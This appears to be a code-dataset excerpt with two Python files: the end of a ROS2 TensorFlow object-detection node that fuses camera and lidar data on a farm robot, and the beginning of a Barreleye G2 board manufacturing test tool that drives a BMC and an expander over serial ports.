idx_detect:\n if classes[0][idx] in (7, 8):\n y1, x1, y2, x2 = boxes_detect[idx]\n if y1 < 0.05 and (0.45 < y2 < 0.61):\n noise_box_info.append(idx)\n elif classes[0][idx] in (3,):\n y1, x1, y2, x2 = boxes_detect[idx]\n if y2 > 0.98 and (x1 < 0.4 or x2 > 0.92):\n noise_box_info.append(idx)\n \n noise_box_info.reverse()\n for idx in noise_box_info:\n scores[0][idx] = 0.0\n boxes_detect = np.delete(boxes_detect, idx, 0)\n classes_pick = np.delete(classes_pick, idx, 1)\n\n # print(boxes_detect) # 감지 대상이 없으면 [], 있으면 [[y1, x1, y2, x2], [...]]\n\n\n vis_util.visualize_boxes_and_labels_on_image_array(image_process,\n np.squeeze(boxes),\n np.squeeze(classes).astype(np.int32),\n np.squeeze(scores),\n self.category_index,\n use_normalized_coordinates=True,\n min_score_thresh=0.5,\n line_thickness=2) # box 테두리 두께 조절 (작을수록 얇음)\n \n infer_time = time.time()-t_start\n\n return image_process, infer_time, boxes_detect, scores, classes_pick\n\n\ndef visualize_images(image_out, t_cost):\n\n font = cv2.FONT_HERSHEY_SIMPLEX\n \n # cv2.putText(image_out,'SSD',(30,50), font, 1,(0,255,0), 2, 0)\n\n # cv2.putText(image_out,'{:.4f}s'.format(t_cost),(30,150), font, 1,(0,255,0), 2, 0)\n \n winname = 'Turtlebot Detection'\n # cv2.imshow(winname, cv2.resize(image_out, (2*image_out.shape[1], 2*image_out.shape[0])))\n cv2.imshow(winname, image_out)\n cv2.waitKey(1)\n\n \ndef img_callback(msg):\n\n global img_bgr\n\n np_arr = np.frombuffer(msg.data, np.uint8)\n img_bgr = cv2.imdecode(np_arr, cv2.IMREAD_COLOR)\n\n\ndef scan_callback(msg):\n\n global xyz\n\n R = np.array(msg.ranges)\n\n x = R*np.cos(np.linspace(0, 2*np.pi, 360))\n y = R*np.sin(np.linspace(0, 2*np.pi, 360))\n z = np.zeros_like(x)\n\n xyz = np.concatenate([\n x.reshape([-1, 1]),\n y.reshape([-1, 1]),\n z.reshape([-1, 1])\n ], axis=1)\n \n\ndef obj_img_sender(classes_pick, custom_obj, crops, image_process, interval):\n global past_time\n\n for idx in classes_pick[0]:\n if custom_obj[int(idx)-1] not in crops: break\n else:\n current_time = time.time()\n if current_time - past_time > interval:\n data = base64.b64encode(image_process)\n sio.emit('objImg', data.decode('utf-8'))\n\n past_time = time.time()\n\n\ndef object_distance_mapping(classes_pick, custom_obj, ostate_list):\n global object_distance\n\n object_distance = dict()\n for idx, obj in enumerate(classes_pick[0]):\n if object_distance.get(custom_obj[int(obj)-1]):\n object_distance[custom_obj[int(obj)-1]].append(ostate_list[idx][0])\n else:\n object_distance[custom_obj[int(obj)-1]] = [ostate_list[idx][0]]\n\n \n # print(object_distance)\n\n return object_distance\n\n\ndef main(args=None):\n\n # 로직 2. pretrained file and label map load \n ## 우선 스켈레톤 코드는 구글이 이미 학습시켜서 model zoo에 올린, mobilenet v1을 backbone으로 하는 \n ## single shot detector 모델의 pretrained 파라메터인 \n ## 'ssd_mobilenet_v1_coco_2018_01_28' 폴더 내 frozen_inference_graph.pb를 받도록 했습니다.\n ## 현재 sub3/sub3 디렉토리 안에 model_weights 폴더를 두고, 거기에 model 폴더인 \n ## 'ssd_mobilenet_v1_coco_11_06_2017'와 data 폴더 내 mscoco_label_map.pbtxt를\n ## 넣어둬야 합니다 \n\n CWD_PATH = os.getcwd()\n MODEL_NAME = 'ssd_mobilenet_v1_coco_2018_01_28'\n\n PATH_TO_LABELS = f'C:\\\\Users\\\\multicampus\\\\Desktop\\\\S05P21B201\\\\src\\\\sub3\\\\sub3\\\\model_weights\\\\data\\\\mscoco_label_map.pbtxt'\n PATH_TO_WEIGHT = f'C:\\\\Users\\\\multicampus\\\\Desktop\\\\S05P21B201\\\\src\\\\sub3\\\\sub3\\\\model_weights\\\\{MODEL_NAME}\\\\frozen_inference_graph.pb'\n\n NUM_CLASSES = 90\n\n # Loading label map\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map,\n max_num_classes=NUM_CLASSES,\n use_display_name=True)\n \n category_index = label_map_util.create_category_index(categories)\n\n # 로직 3. detection model graph 생성\n # tf.Graph()를 하나 생성하고, 이전에 불러들인 pretrained file 안의 뉴럴넷 파라메터들을\n # 생성된 그래프 안에 덮어씌웁니다. \n\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_WEIGHT, \"rb\") as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name=\"\")\n\n\n # 로직 4. gpu configuration 정의\n # 현재 머신에 사용되는 GPU의 memory fraction 등을 설정합니다.\n # gpu의 memory fraction 이 너무 높으면 사용 도중 out of memory 등이 발생할 수 있습니다.\n config = tf.ConfigProto()\n config = tf.ConfigProto(device_count={'GPU': 1})\n config.gpu_options.per_process_gpu_memory_fraction = 0.3\n config.gpu_options.allow_growth = True\n config.gpu_options.allocator_type = 'BFC'\n\n # 로직 5. session 생성\n # 위에 정의한 graph와 config로 세션을 생성합니다.\n sess2 = tf.Session(graph=detection_graph, config=config)\n\n # 로직 6. object detection 클래스 생성\n # detector model parameter를 load 하고 이를 세션으로 실행시켜 inference 하는 클래스를 생성합니다\n ssd_net = detection_net_class(sess2, detection_graph, category_index)\n\n # 로직 7. node 및 image/scan subscriber 생성\n # 이번 sub3의 스켈레톤 코드는 rclpy.Node 클래스를 쓰지 않고,\n # rclpy.create_node()로 node를 생성한 것이 큰 특징입니다. \n # Tensorflow object detection model 이 종종 rclpy.Node 내의 timer callback 안에서 \n # 잘 돌지 않는 경우가 있어서, timer 대신 외부 반복문에 Tensorflow object detection model의 \n # inference를 하기 위함입니다 \n\n global g_node\n\n rclpy.init(args=args)\n\n g_node = rclpy.create_node('tf_detector')\n\n subscription_img = g_node.create_subscription(CompressedImage, '/image_jpeg/compressed/left', img_callback, 3)\n\n subscription_scan = g_node.create_subscription(LaserScan, '/scan', scan_callback, 3)\n\n publisher_object_distance = g_node.create_publisher(String, '/object_distance/left', 5)\n\n # subscription_scan\n\n # subscription_img\n \n # 로직 8. lidar2img 좌표 변환 클래스 정의\n # sub2의 좌표 변환 클래스를 가져와서 정의.\n\n l2c_trans = LIDAR2CAMTransform(params_cam, params_lidar)\n\n\n iter_step = 0\n # class_name\n custom_obj = ['corn', 'burglar', 'eggplant', 'cabbage', 'weed',\n 'pumkinyet', 'pepperdone', 'box', 'pepperyet', 'bananayet',\n 'bananadone', 'kettle', 'venv', 'Jenkinsfile', 'pumkindone',\n 'dog']\n\n crops = ['corn', 'eggplant', 'cabbage', 'weed', 'pumkinyet',\n 'pepperdone', 'pepperyet', 'bananayet', 'bananadone','pumkindone']\n\n while rclpy.ok():\n\n time.sleep(0.05)\n \n # 로직 9. ros 통신을 통한 이미지 수��� => 2에서 4로 횟수 늘림\n for _ in range(4):\n\n rclpy.spin_once(g_node)\n\n obj_dist = ''\n msg = String()\n\n if img_bgr is not None:\n # 로직 10. object detection model inference\n image_process, infer_time, boxes_detect, scores, classes_pick = ssd_net.inference(img_bgr)\n\n # 로직 11. 라이다-카메라 좌표 변환 및 정사영\n # sub2 에서 ex_calib 에 했던 대로 라이다 포인트들을\n # 이미지 프레임 안에 정사영시킵니다.\n if xyz is not None:\n xyz_p = np.concatenate([xyz[:90, :], xyz[270:, :]], axis=0)\n \n xyz_c = np.transpose(l2c_trans.transform_lidar2cam(xyz_p))\n\n xy_i = l2c_trans.project_pts2img(xyz_c, False) # 카메라에 정사영\n\n xyii = np.concatenate([xy_i, xyz_p], axis=1)\n \n \"\"\"\n # 로직 12. bounding box 결과 좌표 뽑기\n ## boxes_detect 안에 들어가 있는 bounding box 결과들을\n ## 좌상단 x,y와 너비 높이인 w,h 구하고, \n ## 본래 이미지 비율에 맞춰서 integer로 만들어\n ## numpy array로 변환\n \"\"\"\n if len(boxes_detect) != 0:\n\n ih = img_bgr.shape[0]\n iw = img_bgr.shape[1]\n # print(ih, iw) # 240, 320\n # boxes_np = \n\n x = boxes_detect[:, 1] * iw\n y = boxes_detect[:, 0] * ih\n w = (boxes_detect[:, 3] - boxes_detect[:, 1]) * iw\n h = (boxes_detect[:, 2] - boxes_detect[:, 0]) * ih\n\n bbox = np.vstack([\n x.astype(np.int32).tolist(),\n y.astype(np.int32).tolist(),\n w.astype(np.int32).tolist(),\n h.astype(np.int32).tolist()\n ]).T\n # print(bbox) # [[x, y, w, h], [x, y, w, h], ...]\n \n \"\"\"\n # 로직 13. 인식된 물체의 위치 추정\n ## bbox가 구해졌으면, bbox 안에 들어가는 라이다 포인트 들을 구하고\n ## 그걸로 물체의 거리를 추정할 수 있습니다.\n \"\"\"\n ostate_list = []\n for i in range(bbox.shape[0]): # 인식된 대상 개수 만큼 반복\n x = int(bbox[i, 0])\n y = int(bbox[i, 1])\n w = int(bbox[i, 2])\n h = int(bbox[i, 3])\n\n cx = x + w / 2\n cy = y + h / 2\n \n # 네모 형태로 받으면, 독특한 구조의 경우 물체 뒤의 라이다 정보도 담기게 된다.\n tmp = xyii[np.where((cx - w*0.1 <= xyii[:, 0]) & (xyii[:, 0] <= cx + w*0.1))] # 줄인 버전. 필요시 0.1보다 더 낮게\n # tmp = xyii[np.where((cx - w*0.5 <= xyii[:, 0]) & (xyii[:, 0] <= cx + w*0.5))] # 노이즈가 많음\n distance = np.sqrt(np.power(tmp[:, 2], 2) + np.power(tmp[:, 3], 2))\n distance_aveg = distance.sum() / len(distance)\n\n # xyv = \n\n ## bbox 안에 들어가는 라이다 포인트들의 대표값(예:평균)을 뽑는다\n ostate = [distance_aveg]\n\n ## 대표값이 존재하면 \n if not np.isnan(ostate[0]):\n ostate_list.append(ostate)\n\n # object detected image send by soketio\n obj_img_sender(classes_pick, custom_obj, crops, image_process, interval=1.0)\n\n # object & distance mapping\n object_distance_mapping(classes_pick, custom_obj, ostate_list)\n \n image_process = draw_pts_img(image_process, xy_i[:, 0].astype(np.int32), xy_i[:, 1].astype(np.int32))\n\n # print(ostate_list)\n\n \n for k, vlist in object_distance.items():\n obj_dist += str(k)\n for v in vlist:\n obj_dist += '-' + f'{v:.2f}'\n obj_dist += '/'\n \n visualize_images(image_process, infer_time) \n\n msg.data = obj_dist\n publisher_object_distance.publish(msg)\n\n g_node.destroy_node()\n rclpy.shutdown()\n\nif __name__ == '__main__':\n\n main()\n","sub_path":"src/sub3/sub3/tf_detector_left.py","file_name":"tf_detector_left.py","file_ext":"py","file_size_in_byte":16636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"330767318","text":"#===================================================================#\n# Tool Name: Barreleye G2 BP/EXP FVS Tool #\n# Version: 0.3 #\n# Edit by: Chris Liu 2018/01/23 #\n#===================================================================#\nimport sys\nimport datetime\nimport subprocess\nimport os\nimport time\nimport ctypes\nimport serial\nimport configparser\nimport shutil\n\nglobal VER\nVER = \"0.3\"\n\nglobal DEBUG_MODE\nDEBUG_MODE = True\n\nglobal FAIL_CONTINUE\nFAIL_CONTINUE = True\n\nglobal ROOT_DIR\nROOT_DIR = os.getcwd()\n\nglobal LOG_DIR\nLOG_DIR = os.path.join(ROOT_DIR, \"Log\")\n\nglobal SFC_DIR\nSFC_DIR = os.path.join(ROOT_DIR, \"SFC\")\n\nglobal FRU_DIR\nFRU_DIR = os.path.join(ROOT_DIR, \"FRU\")\n\nglobal LOG_FILE\nLOG_FILE = os.path.join(ROOT_DIR, \"Log.txt\")\n\nglobal TERATERM_DIR\nTERATERM_DIR = os.path.join(ROOT_DIR, \"Teraterm\")\n\nglobal EXP_FW_DIR\nEXP_FW_DIR = os.path.join(ROOT_DIR, \"EXP_FW\")\n\nglobal COM_PORT\nCOM_PORT = \"COM4\"\n\nglobal EXP_COM_PORT\nEXP_COM_PORT = \"COM5\"\n\nglobal EXP_VER\nEXP_VER = \"0:3:0:1\"\n\nglobal PPID\nPPID = \"1A42NC500-600-181B0001X01\"\n\nglobal PN\nPN = \"1A42NC500-600-1\"\n\nglobal SN\nSN = \"1A42NC500-600-181B0001X01\"\n\nglobal CARD\nCARD = \"Tri-BP\"\n\nFONT_NONE = 0\nFONT_WHITE = 1\nFONT_RED = 2\nFONT_GREEN = 3\nFONT_YELLOW = 4\n\nPASS_BANNER = \"\"\"\n######## ### ###### ###### #### ####\n## ## ## ## ## ## ## ## #### ####\n## ## ## ## ## ## #### ####\n######## ## ## ###### ###### ## ##\n## ######### ## ##\n## ## ## ## ## ## ## #### ####\n## ## ## ###### ###### #### ####\n\"\"\"\n\nFAIL_BANNER = \"\"\"\n######## ### #### ## #### ####\n## ## ## ## ## #### ####\n## ## ## ## ## #### ####\n###### ## ## ## ## ## ##\n## ######### ## ##\n## ## ## ## ## #### ####\n## ## ## #### ######## #### ####\n\"\"\"\n\nPOWER_ON_BANNER = \"\"\"\n######## ####### ## ## ######## ######## ####### ## ##\n## ## ## ## ## ## ## ## ## ## ## ## ### ##\n## ## ## ## ## ## ## ## ## ## ## ## #### ##\n######## ## ## ## ## ## ###### ######## ## ## ## ## ##\n## ## ## ## ## ## ## ## ## ## ## ## ####\n## ## ## ## ## ## ## ## ## ## ## ## ###\n## ####### ### ### ######## ## ## ####### ## ##\n\"\"\"\n\nLED_BANNER = \"\"\"\n## ######## ########\n## ## ## ##\n## ## ## ##\n## ###### ## ##\n## ## ## ##\n## ## ## ##\n######## ######## ########\n\"\"\"\n\nPPID_BANNER = \"\"\"\n######## ######## #### ########\n## ## ## ## ## ## ##\n## ## ## ## ## ## ##\n######## ######## ## ## ##\n## ## ## ## ##\n## ## ## ## ##\n## ## #### ########\n\"\"\"\n\nFCT1_BANNER = \"\"\"\n######## ###### ######## ##\n## ## ## ## ####\n## ## ## ##\n###### ## ## ##\n## ## ## ##\n## ## ## ## ##\n## ###### ## ######\n\"\"\"\n\nFCT2_BANNER = \"\"\"\n######## ###### ######## #######\n## ## ## ## ## ##\n## ## ## ##\n###### ## ## #######\n## ## ## ##\n## ## ## ## ##\n## ###### ## #########\n\"\"\"\n#===============================================================================\ndef Banner(msg):\n\tline_0 = \"#\" + \"=\"*78 + \"#\"\n\tline_1 = \"#\" + \" \"*78 + \"#\"\n\ttmp_str = \"#\" + msg.center(78) + \"#\"\n\n\tif(sys.platform == \"win32\"):\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x08)\n\t\tprint(\"\")\n\t\tprint(line_0)\n\t\tprint(line_1)\n\t\tprint(tmp_str)\n\t\tprint(line_1)\n\t\tprint(line_0)\n\t\tprint(\"\")\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\telse:\n\t\tprint(\"\")\n\t\tprint(\"\\033[35;1m%s\\033[0m\"%(line_0))\n\t\tprint(\"\\033[35;1m%s\\033[0m\"%(line_1))\n\t\tprint(\"\\033[35;1m%s\\033[0m\"%(tmp_str))\n\t\tprint(\"\\033[35;1m%s\\033[0m\"%(line_1))\n\t\tprint(\"\\033[35;1m%s\\033[0m\"%(line_0))\n\t\tprint(\"\")\n#===============================================================================\ndef Banner_1(msg):\n\tif(sys.platform == \"win32\"):\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x08)\n\t\tprint(\"\")\n\t\tprint(msg)\n\t\tprint(\"\")\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\telse:\n\t\tprint(\"\")\n\t\tprint(\"\\033[35;1m%s\\033[0m\"%(msg))\n\t\tprint(\"\")\n#===============================================================================\ndef Log(msg, color = FONT_WHITE):\n\ttmp = \"[%s] %s\\n\"%(datetime.datetime.strftime(datetime.datetime.now(), \"%y/%m/%d %H:%M:%S\"), msg)\n\n\ttry:\n\t\tf = open(LOG_FILE, \"a\")\n\t\tf.write(tmp)\n\t\tf.close()\n\texcept:\n\t\tprint(\"Logging Error!!\")\n\t\treturn\n\n\ttmp = tmp[:-1]\n\n\tif(color == FONT_RED):\n\t\tif(sys.platform == \"win32\"):\n\t\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x04 | 0x08)\n\t\t\tprint(tmp)\n\t\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\t\telse:\n\t\t\tprint(\"\\033[31;1m%s\\033[0m\"%(tmp))\n\telif(color == FONT_GREEN):\n\t\tif(sys.platform == \"win32\"):\n\t\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x02 | 0x08)\n\t\t\tprint(tmp)\n\t\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\t\telse:\n\t\t\tprint(\"\\033[32;1m%s\\033[0m\"%(tmp))\n\telif(color == FONT_YELLOW):\n\t\tif(sys.platform == \"win32\"):\n\t\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x02 | 0x04 | 0x08)\n\t\t\tprint(tmp)\n\t\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\t\telse:\n\t\t\tprint(\"\\033[33;1m%s\\033[0m\"%(tmp))\n\telif(color == FONT_NONE):\n\t\tpass\n\telse:\n\t\ttry:\n\t\t\tprint(tmp)\n\t\texcept:\n\t\t\tprint(\"Logging Error!!\")\n#===============================================================================\ndef Show_Pass():\n\tLog(\"PASS\", FONT_GREEN)\n\n\ttest_log = os.path.join(LOG_DIR, \"%s_%s_PASS_%s_%s.txt\"%(SN, PPID, UUT_FIXTUREID, datetime.datetime.strftime(datetime.datetime.now(), \"%y%m%d-%H%M%S\")))\n\tLog(\"Test Log: %s\"%(test_log), FONT_GREEN)\n\tshutil.move(LOG_FILE, test_log)\n\n\tif(sys.platform == \"win32\"):\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x02 | 0x08)\n\t\tprint(PASS_BANNER)\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\telse:\n\t\tprint(\"\\033[32;1m%s\\033[0m\"%(PASS_BANNER))\n\n\tconfig = configparser.ConfigParser()\n\tconfig.read(os.path.join(SFC_DIR, \"SFC.ini\"))\n\tconfig[\"UUT\"][\"result\"] = \"PASS\"\n\tconfig[\"UUT\"][\"errormessage\"] = \"NA\"\n\tconfig.write(open(os.path.join(SFC_DIR, \"SFC.ini\"), \"w\"))\n\n\tif(UUT_STATIONID != \"DBG-001\"):\n\t\tos.chdir(SFC_DIR)\n\t\tos.system(\"SFCTool.exe\")\n\t\tos.chdir(ROOT_DIR)\n\n\tos.system(\"pause\")\n\tsys.exit(0)\n#===============================================================================\ndef Show_Fail(error_msg):\n\tLog(\"FAIL: %s\"%(error_msg), FONT_RED)\n\n\ttest_log = os.path.join(LOG_DIR, \"%s_%s_FAIL_%s_%s.txt\"%(SN, PPID, UUT_FIXTUREID, datetime.datetime.strftime(datetime.datetime.now(), \"%y%m%d-%H%M%S\")))\n\tLog(\"Test Log: %s\"%(test_log), FONT_RED)\n\tshutil.move(LOG_FILE, test_log)\n\n\tif(sys.platform == \"win32\"):\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x04 | 0x08)\n\t\tprint(FAIL_BANNER)\n\t\tctypes.windll.kernel32.SetConsoleTextAttribute(ctypes.windll.kernel32.GetStdHandle(-11), 0x01 | 0x02 | 0x04)\n\telse:\n\t\tprint(\"\\033[31;1m%s\\033[0m\"%(FAIL_BANNER))\n\n\tconfig = configparser.ConfigParser()\n\tconfig.read(os.path.join(SFC_DIR, \"SFC.ini\"))\n\tconfig[\"UUT\"][\"result\"] = \"FAIL\"\n\tconfig[\"UUT\"][\"errormessage\"] = error_msg\n\tconfig.write(open(os.path.join(SFC_DIR, \"SFC.ini\"), \"w\"))\n\n\tif(UUT_STATIONID != \"DBG-001\"):\n\t\tos.chdir(SFC_DIR)\n\t\tos.system(\"SFCTool.exe\")\n\t\tos.chdir(ROOT_DIR)\n\n\tos.system(\"pause\")\n\tsys.exit(-1)\n#===============================================================================\ndef Scan_PPID():\n\tglobal LOG_FILE\n\tglobal PPID\n\tglobal PN\n\tglobal SN\n\tglobal CARD\n\n\tBanner_1(PPID_BANNER)\n\n\twhile(1):\n\t\tPPID = input(\"Please Scan Board PPID Label!!\\n\")\n\t\tif(PPID == \"a\"):\n\t\t\tPPID = \"1A42NC500-600-181B0001X01\"\n\t\tif(len(PPID) == 25 and PPID[:15] in [\"1A42NC400-600-1\", \"1A42NC400-600-2\", \"1A42NC400-600-3\"]):\n\t\t\tLOG_FILE = os.path.join(ROOT_DIR, \"%s.txt\"%PPID)\n\t\t\tLog(\"Barreleye G2 Tri-Exp Product ID!! (%s)\"%(PPID), FONT_YELLOW)\n\t\t\tCARD = \"Tri-EXP\"\n\t\t\tPN = PPID[:15]\n\t\t\tSN = PPID\n\t\t\tbreak\n\t\tif(len(PPID) == 25 and PPID[:15] in [\"1A42NC500-600-1\", \"1A42NC500-600-2\", \"1A42NC500-600-3\"]):\n\t\t\tLOG_FILE = os.path.join(ROOT_DIR, \"%s.txt\"%PPID)\n\t\t\tLog(\"Barreleye G2 Tri-BP Product ID!! (%s)\"%(PPID), FONT_YELLOW)\n\t\t\tCARD = \"Tri-BP\"\n\t\t\tPN = PPID[:15]\n\t\t\tSN = PPID\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"PPID is Wrong, Please Scan Again!!\")\n#===============================================================================\ndef Input_CMD(cmd, delay = 1):\n\tLog(\"Input Command: %s\"%(cmd), FONT_WHITE)\n\n\ttry:\n\t\ts = serial.Serial(port = COM_PORT, baudrate = 115200, timeout = delay)\n\texcept:\n\t\tLog(\"Open BMC COM Port (%s) Fail!!\"%(COM_PORT), FONT_RED)\n\t\tsys.exit(-1)\n\n\terror_list = [\n\t\t\"ucd9000 0-0064\",\n\t\t\"ftgmac100 1e660000.ethernet\",\n\t\t\"ucd9000:\",\n\t\t\"random: nonblocking pool is initialized\",\n\t]\n\n\tmsg = []\n\tcmd = \"%s\\r\"%(cmd)\n\n\tfor retry in range(5):\n\t\tflag_retry = True\n\n\t\ts.write(cmd.encode(errors = \"ignore\"))\n\t\tret = s.readlines()\n\t\tfor i in range(len(ret)):\n\t\t\tret[i] = ret[i].decode(errors = \"ignore\").strip()\n\n\t\t\tif(\"ttyS4: 1 input overrun(s)\" in ret[i]):\n\t\t\t\tflag_retry = False\n\n\t\tif(flag_retry):\n\t\t\tbreak\n\n\t#Remove error message...\n\tfor i in range(len(ret)):\n\t\tflag = True\n\t\tfor error in error_list:\n\t\t\tif(error in ret[i]):\n\t\t\t\tflag = False\n\t\t\t\tbreak\n\n\t\tif(flag):\n\t\t\tmsg.append(ret[i])\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tLog(\"ret[%02d] %s\"%(len(msg)-1, ret[i]), FONT_WHITE)\n\n\ts.close()\n\n\treturn msg\n#===============================================================================\ndef Input_EXP_CMD(cmd, delay = 1):\n\tLog(\"Input EXP Command: %s\"%(cmd), FONT_WHITE)\n\n\ttry:\n\t\ts = serial.Serial(port = EXP_COM_PORT, baudrate = 115200, timeout = delay)\n\texcept:\n\t\tLog(\"Open EXP COM Port(%s) Fail!!\"%(EXP_COM_PORT), FONT_RED)\n\t\tsys.exit(-1)\n\n\tcmd = \"%s\\r\"%(cmd)\n\ts.write(cmd.encode(errors = \"ignore\"))\n\tret = s.readlines()\n\tfor i in range(len(ret)):\n\t\tret[i] = ret[i].decode(errors = \"ignore\").strip()\n\t\tif(DEBUG_MODE):\n\t\t\tLog(\"ret[%02d] %s\"%(i, ret[i]), FONT_WHITE)\n\n\ts.close()\n\n\treturn ret\n#===============================================================================\ndef Enter_BMC_UBOOT():\n\t'''Enter BMC UBOOT'''\n\n\tBanner_1(POWER_ON_BANNER)\n\tLog(\"System Power On...\", FONT_YELLOW)\n\n\ttry:\n\t\ts = serial.Serial(port = COM_PORT, baudrate = 115200, timeout = 1)\n\texcept:\n\t\tLog(\"Open BMC COM Port (%s) Fail!!\"%(COM_PORT), FONT_RED)\n\t\tsys.exit(-1)\n\n\tflag_dram_size = False\n\tflag_flash_size = False\n\tflag_uboot = False\n\n\tstart = time.time()\n\twhile 1:\n\t\tret = s.readline().decode(errors = \"ignore\").strip()\n\t\tif(DEBUG_MODE):\n\t\t\tLog(ret, FONT_WHITE)\n\n\t\tif(\"DRAM\" in ret and \"1008 MiB\" in ret):\n\t\t\tflag_dram_size = True\n\n\t\tif(\"64 MiB\" in ret):\n\t\t\tflag_flash_size = True\n\n\t\tif(\"In: serial\" in ret or \"fdtdec_get_config_int: bootsecure\" in ret):\n\t\t\ttime.sleep(1)\n\t\t\tbreak\n\n\t\tif((time.time() - start) > 60):\n\t\t\tLog(\"Enter_BMC_UBOOT Fail (Timeout)\", FONT_RED)\n\t\t\treturn False\n\n\ts.close()\n\n\tret = Input_CMD(\" \")\n\tfor i in ret:\n\t\tif(\"ast#\" in i):\n\t\t\tflag_uboot = True\n\n\tif(flag_dram_size and flag_flash_size and flag_uboot):\n\t\tLog(\"Enter_BMC_UBOOT Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tif(flag_dram_size == False):\n\t\t\tLog(\"Enter_BMC_UBOOT Fail (DRAM Size)\", FONT_RED)\n\t\tif(flag_flash_size == False):\n\t\t\tLog(\"Enter_BMC_UBOOT Fail (Flash Size)\", FONT_RED)\n\t\tif(flag_uboot == False):\n\t\t\tLog(\"Enter_BMC_UBOOT Fail (Enter UBoot)\", FONT_RED)\n\t\treturn False\n#===============================================================================\ndef Enter_BMC_Linux():\n\t'''Enter BMC Linux'''\n\n\t#115200/8/1/N/N, root/0penBmc\n\n\ttry:\n\t\ts = serial.Serial(port = COM_PORT, baudrate = 115200, timeout = 1)\n\texcept:\n\t\tLog(\"Open BMC COM Port (%s) Fail!!\"%(COM_PORT), FONT_RED)\n\t\tsys.exit(-1)\n\n\ts.write(\"boot\\r\".encode(errors = \"ignore\"))\n\n\tstart = time.time()\n\twhile 1:\n\t\tret = s.readline().decode(errors = \"ignore\").strip()\n\t\tif(DEBUG_MODE):\n\t\t\tLog(ret, FONT_WHITE)\n\n\t\tif(\"zaius login\" in ret):\n\t\t\tLog(\"Enter Account (root)\", FONT_YELLOW)\n\t\t\ttime.sleep(1)\n\t\t\tbreak\n\n\t\tif((time.time() - start) > 200):\n\t\t\tLog(\"Enter_BMC_Linux Fail (Account)\", FONT_RED)\n\t\t\treturn False\n\n\ts.write(\"root\\r\".encode(errors = \"ignore\"))\n\n\tstart = time.time()\n\twhile 1:\n\t\tret = s.readline().decode(errors = \"ignore\").strip()\n\t\tif(DEBUG_MODE):\n\t\t\tLog(ret, FONT_WHITE)\n\n\t\tif(\"Password:\" in ret):\n\t\t\tLog(\"Enter Password (0penBmc)\", FONT_YELLOW)\n\t\t\ttime.sleep(1)\n\t\t\tbreak\n\n\t\tif((time.time() - start) > 30):\n\t\t\tLog(\"Enter_BMC_Linux Fail (Pasword)\", FONT_RED)\n\t\t\treturn False\n\n\ts.write(\"0penBmc\\r\".encode(errors = \"ignore\"))\n\ts.close()\n\n\tprint(\"Waiting for Enter_BMC_Linux!!\")\n\ttimeout_5s = 20\n\tfor i in range(timeout_5s):\n\t\tret = Input_CMD(\"pwd\")\n\t\tif(len(ret) >= 2 and \"/home/root\" in ret[1]):\n\t\t\tLog(\"Enter_BMC_Linux\", FONT_YELLOW)\n\t\t\tbreak\n\n\t\tif(i < timeout_5s - 1):\n\t\t\ttime.sleep(5)\n\t\t\tprint((\"%s secs...\")%(5*(timeout_5s - i)))\n\t\telse:\n\t\t\tLog(\"Enter_BMC_Linux Fail (TIMEOUT!!)\", FONT_RED)\n\t\t\treturn False\n\n\tprint(\"Waiting for BMC Ready!!\")\n\ttimeout_5s = 20\n\tfor i in range(timeout_5s):\n\t\tret = Input_CMD(\"obmcutil state\", 5)\n\t\tfor msg in ret:\n\t\t\tif(\"BMCState.Ready\" in msg):\n\t\t\t\tLog(\"Enter_BMC_Linux Pass\", FONT_GREEN)\n\t\t\t\t#Stop Watchdog Service\n\t\t\t\tInput_CMD(\"systemctl stop org.openbmc.watchdog.Host@0.service\")\n\t\t\t\tInput_CMD(\"obmcutil poweron\")\n\t\t\t\ttime.sleep(5)\n\t\t\t\treturn True\n\n\t\tif(i < timeout_5s - 1):\n\t\t\ttime.sleep(5)\n\t\t\tprint((\"%s secs...\")%(5*(timeout_5s - i)))\n\t\telse:\n\t\t\tLog(\"Enter_BMC_Linux Fail (Timeout)\", FONT_RED)\n\t\t\treturn False\n#===============================================================================\ndef Check_EXP_Serial():\n\t'''Check_EXP_Serial'''\n\n\tflag = False\n\n\tret = Input_EXP_CMD(\"\")\n\tif(ret == False):\n\t\treturn False\n\n\tfor i in ret:\n\t\tif(\"cmd >\" in i):\n\t\t\tflag = True\n\n\tif(flag):\n\t\tLog(\"Check_EXP_Serial Pass\", FONT_GREEN)\n\t\treturn True\n\telse:\n\t\tLog(\"Check_EXP_Serial 